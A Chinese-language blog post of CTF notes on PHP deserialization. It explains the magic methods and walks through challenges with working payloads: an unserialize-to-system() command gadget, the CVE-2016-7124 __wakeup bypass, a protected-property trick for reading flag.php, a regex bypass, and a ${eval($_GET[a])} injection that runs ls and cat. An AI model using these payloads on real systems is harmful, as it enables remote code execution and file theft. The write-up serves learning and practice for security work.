ctf中的php序列化与反序列化

刚开始学的php序列化与反序列化,有点雨里雾里的,于是做个笔记~~

首先我们来了解一下概念知道他是怎么样的一个东西:

序列化(串行化):是将变量转换为可保存或传输的字符串的过程;
反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。

然后了解魔术方法:

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发

常见的方法有前面五个,所以尽量关注前面五个,下面我们看看每个方法的用法以及效果。

测试的源码:

<?phpclass SER
{public $name;private $age;protected $sec;public function __construct(){echo "这是__construct()!在创建对象时使用,例如:\$aa = new SER();";echo "\n";}public function __destruct(){echo "这是__destruct()!在调用完后销毁对象时使用";echo "\n";}public function __toString(){echo "这是__toString()!当对象被当做一个字符串使用时调用   ";return  "and must have return "."\n";}public function __sleep(){echo "这是__sleep()!在序列化一个对象时使用,例如:serialize()";echo "\n";}public function __wakeup(){echo "这是__wakeup()!在反序列化一个对象时使用,例如:unserialize()";echo "\n";}}$mirror = new SER(); //__construct()
//echo $mirror;   //__toString()
//serialize($mirror);  //__sleep()
//unserialize($mirror);  //__wakeup()//__destruct()

__construct()的示例:

__construct()、__toString()的示例:

需要注意的是__toString()必须要有一个返回值。

__construct()、__toString()、__sleep()的示例:

__construct()、__toString()、__sleep()、__wakeup()的示例:

因为序列化和反序列化分别调用了一次,所以__destruct()也出现了两次

接下来我们看序列化的格式:

O:3:"SER":3:{s:4:"name";s:6:"mirror";s:8:" SER age";s:2:"18";s:6:" * sec";s:2:"男";}
对象类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}

然后看序列化的三种类型:

序列化后的结果为:O:3:“SER”:3:{s:4:“name”;s:6:“mirror”;s:8:" SER age";s:2:“18”;s:6:" * sec";s:2:“男”;},仔细观察我们就会发现每一个类型输出的都不一样。

 public   //{s:4:"name";s:6:"mirror"->序列出来的变量直接是变量名nameprivate  //s:8:" SER age";s:2:"18"->序列出来的变量是:%00+类名+%00+变量名(两个%00加上字符所以长度为8)或者\00protected  //s:6:" * sec";s:2:"男"->序列出来的变量是:%00+*+%00+变量名  (两个%00加上字符所以长度为6)或者\00

因为%00是不可打印字符,显示不了,但是查看网页源码可以看到乱码,但是他是存在的。

接下来我们写一个简单反序列化可控参数的代码,清楚直观的感受序列化与反序列化

<?php
class A{public $cmd;public function __wakeup(){system($this->cmd);}
}
$a = $_GET['cmd'];
$a_unser = unserialize($a);
?>

前面我们说过__wakeup()在被反序列时使用,现在代码中的cmd我们可控,我们就可以做一个恶意的序列化代码,让他在进行反序列化的时候能够执行我们想要的命令。

O:1:"A":1:{s:3:"cmd";s:3:"dir";}

拿payload去测试,可以看到命令被执行了,只不过由于环境编码的问题,这里乱码了

?cmd=O:1:"A":1:{s:3:"cmd";s:3:"dir";}

接下来进入正题,ctf中绕过__wakeup(),这里取自BUUCTF的: [极客大挑战 2019]PHP

扫网站的备份文件得备份文件名是www.zip

里面有用的php文件:class.php

<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

在构造序列化函数的时候会把属性赋值, 不过这个我们能控制,不用纠结

$username = 'nonono';
$password = 'yesyes';

真正重要的是反序列时调用的两个方法,__wakeup()、__destruct(),在进行反序列化操作的时候,__wakeup()方法总会把你的username变成guest,这样子的话就过不了__destruct()的要求:需要password=100,username=admin。

但是__wakeup()本身有一个漏洞:
CVE-2016-7124
PHP5 < 5.6.25
PHP7 < 7.0.10

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,所以接下来制造payload

O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}


我们使属性个数大于真实个数,并且要注意他的类型是私有类型,要加上%00,所以最后的payload为:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

拿到flag
这题用%00成功用\00失败

下一个是绕过字符串过滤

例题取自[网鼎杯 2020 青龙组]AreUSerialz

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}

GET方式传入序列化的str字符串,str字符串中每一个字符的ASCII范围在32到125之间,然后对其反序列化。

function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}

这里的op是强类型比较,如果类型为string值为2的话,op就会被赋值为1,否则,content为空并进入下一个函数

    function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}

这里的op是弱类型比较,只要值为2就可以进入下一个函数,因为op为1是写函数对我们没用,所以不做分析,到现在我们要先绕过强类型限制来到该函数
绕过方法:op=2,这里的2是整数int类型,op=2时,op===“2” 为false,op=="2"为true,就可以来到该函数
string和int的区别和比较

public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}

这里是一个读文件的函数,我们要包含flag.php就好

    private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}

我们可以通过控制read()读取flag.php的内容。

但是现在需要绕过is_valid() 函数
is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。

绕过方法:

①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过

<?php
class FileHandler {public $op = 2;public $filename = "flag.php";public $content="s";  //任意
}
$mirror = new FileHandler();
echo serialize($mirror);
?>

poyload:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"s";}

②protected属性会引入\00*\00,但是序列化字符串中表示字符类型的s大写时,该值会被当成16进制解析。

<?php
class FileHandler {protected $op = 2;protected $filename = "flag.php";protected $content="s";  //任意
}
$mirror = new FileHandler();
echo serialize($mirror);
?>

payload:

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:1:"s";}


这题用\00成功用%00失败

下一个是绕过正则

取自19年百度杯十月赛的hash

1.hash=md5(hash=md5(hash=md5(sign.$key);the length of $sign is 8

2.key=123&hash=f9109d5f83921a551cf859f853afe7bb

然后md5解密那个hash=kkkkkk01123

根据源码说的$sign位数为8位,后改一下key 然后md5后得到提示Gu3ss_m3_h2h2.php这个文件

poyload:

?key=12&hash=3fa25df8b0dbc0be0840be63792b1610

得到一个页面:Gu3ss_m3_h2h2.php,进去看见源码

<?php
class Demo {private $file = 'Gu3ss_m3_h2h2.php';public function __construct($file) {$this->file = $file;}function __destruct() {echo @highlight_file($this->file, true);}function __wakeup() {if ($this->file != 'Gu3ss_m3_h2h2.php') {//the secret is in the f15g_1s_here.php$this->file = 'Gu3ss_m3_h2h2.php';}}
}if (isset($_GET['var'])) {$var = base64_decode($_GET['var']);if (preg_match('/[oc]:\d+:/i', $var)) {die('stop hacking!');} else {@unserialize($var);}
} else {highlight_file("Gu3ss_m3_h2h2.php");
}
?>

在这里要绕过两点:
1、 __wakeup() 函数,用我们前面提到的那个方法就好
2、绕过正则,不能出现像O:4这样子的字符串,说白了就是针对需序列化的字符串的,可以在数字前面加+号,如O:+4

所以payload:

这里把得到序列化字符串加上%00在ps上base64加密后也不能正确加密,所以先把字符串放到burp上显示十六进制将20都换为00再base64加密得到的payload才能用,记得在4前面加上+

进入下一层

<?php
if (isset($_GET['val'])) {$val = $_GET['val'];eval('$value="' . addslashes($val) . '";');
} else {die('hahaha!');
}
?>

addslashes()函数主要用来过滤单、双引号,用不了system

我们这样构造:

/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `ls`;

利用的原理就是像这样实现命令执行:

${phpinfo()}

这样成功执行了ls命令,发现了flag所在的文件,然后cat就可以获得flag:

/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`;

ps:

个人站点博客:XingHe,欢迎来踩~

ctf中的php序列化与反序列化相关推荐

  1. ASP.NET中JSON的序列化和反序列化

    JSON是专门为浏览器中的网页上运行的JavaScript代码而设计的一种数据格式.在网站应用中使用JSON的场景越来越多,本文介绍ASP.NET中JSON的序列化和反序列化,主要对JSON的简单介绍 ...

  2. 一起谈.NET技术,ASP.NET 中JSON 的序列化和反序列化

    JSON是专门为浏览器中的网页上运行的JavaScript代码而设计的一种数据格式.在网站应用中使用JSON的场景越来越多,本文介绍ASP.NET中JSON的序列化和反序列化,主要对JSON的简单介绍 ...

  3. python3 中的Json序列化、反序列化 和 字符编码的问题解决

    python3 中的Json序列化.反序列化 和 字符编码的问题解决 参考文章: (1)python3 中的Json序列化.反序列化 和 字符编码的问题解决 (2)https://www.cnblog ...

  4. ctf php沙箱,详谈CTF中常出现的PHP反序列化漏洞

    0x01什么是PHP序列化与反序列化 PHP序列化是一种把变量或对象以字符串形式转化以方便储存和传输的方法 在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构. 比方来说, ...

  5. java中对象的序列化和反序列化

    [对象的序列化和反序列化 ] 1.定义: 序列化--将对象写到一个输出流中.反序列化则是从一个输入流中读取一个对象.类中的成员必须是可序列化的,而且要实现Serializable接口,这样的类的对象才 ...

  6. c语言josn序列化和反序列化,Flutter 中 JSON 的序列化和反序列化

    前言 Flutter 中没有类似于 Java 中 Gson/Jackson 这样的 JSON 序列化库. 因为这些库都是通过反射实现的,而 Flutter 中不支持反射. 其实 Dart 是支持反射的 ...

  7. python序列化和反序列化_Python 中 json 数据序列化和反序列化

    1.Json 定义 定义:JSON(JavaScript Object Notation, JS 对象简谱) 是一种轻量级的数据交换格式.JSON 的数据格式其实就是 python 里面的字典格式,里 ...

  8. pytho中的json序列化与反序列化操作

    两种类型数据: 1.列表:[元素,元素] 2.字典:{"键":"值"} 元素可以是另一个列表或字典 字典中的值也可是另一个列表或字典

  9. C#中对象的序列化与反序列化

    无须多言,代码如下: using System; using System.Collections.Generic; using System.IO; using System.Linq; using ...

最新文章

  1. 李开复写给中国学生的七封信之给中国学生的第五封信——你有选择的权利(完)...
  2. cocoapods 终极方案
  3. php调用txt接口,PHP 如何更优雅地调用 API 接口
  4. 源码分析SharePreferences的apply与commit的区别
  5. Ardino基础教程 19_舵机控制
  6. C#中提示:System.Runtime.Serialization.SerializationException
  7. 团体程序设计天梯赛-练习集L1-023. 输出GPLT
  8. 前端学习01-07图像标签
  9. matlab练习程序(生成加密p文件)
  10. leach协议的能量检测仿真
  11. 在Microsoft Windows XP中使用NetMeeting
  12. 华三交换机配置基础及讲解
  13. 日语五十音平假名 识读卡片 笔顺
  14. 高性能科学计算、工程计算仿真用电脑装机经验
  15. R、冗余分析(RDA)、ggplot2、置信椭圆
  16. Ubuntu设置Root用户开机启动
  17. Spring 漏洞及其修复方案
  18. 谷歌浏览器(chrome)无法正常打开网页的解决办法
  19. 在线CAD平台,MxCAD云图 2021.01.20更新,在线CAD软件
  20. RabbitMQ镜像队列与负载均衡

热门文章

  1. WARNING: erroneous pipeline: no element ffdec_h264解决方案
  2. 微信接口测试号 php代码,模拟测试微信接口暨微信开发试验代码
  3. HowTo——TMS320F28X系列DSP开发技巧总结
  4. Android视频《手机影音_项目实战》-杨光福-专题视频课程
  5. IntelliJ IDEA 特殊注释TODO、FIXME、XXX
  6. 药品计算机系统培训试题,新版GSP培训试题及答案
  7. 【论文阅读】12-PatchMatch Stereo - Stereo Matching with Slanted Support Windows
  8. git pull 出现The following untracked working tree files would be overwritten by merge:bin/run.sh
  9. 数据分析第一章:第一节至第三节
  10. 垃圾软件坑太多?从下载到安装入门教程